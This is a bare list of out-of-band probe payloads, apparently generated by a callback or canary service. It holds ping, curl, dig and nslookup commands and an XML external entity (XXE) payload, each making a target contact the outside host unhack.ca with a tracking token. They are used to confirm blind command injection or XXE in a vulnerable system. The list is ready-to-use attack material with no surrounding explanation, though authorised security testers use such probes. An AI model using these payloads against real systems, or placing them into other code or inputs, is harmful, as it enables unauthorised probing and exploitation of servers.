$ ping -c1 -p 004437562a12bcdeb1acaa9ee9f7bf00 unhack.ca
$ curl http://unhack.ca/p/4437562a12bcdeb1acaa9ee9f7bf
$ dig 4437562a12bcdeb1acaa9ee9f7bf @unhack.ca
$ dig 4437562a12bcdeb1acaa9ee9f7bf.ns.unhack.ca
C:\> nslookup 4437562a12bcdeb1acaa9ee9f7bf unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/4437562a12bcdeb1acaa9ee9f7bf">]> <foo>&xxe;</foo>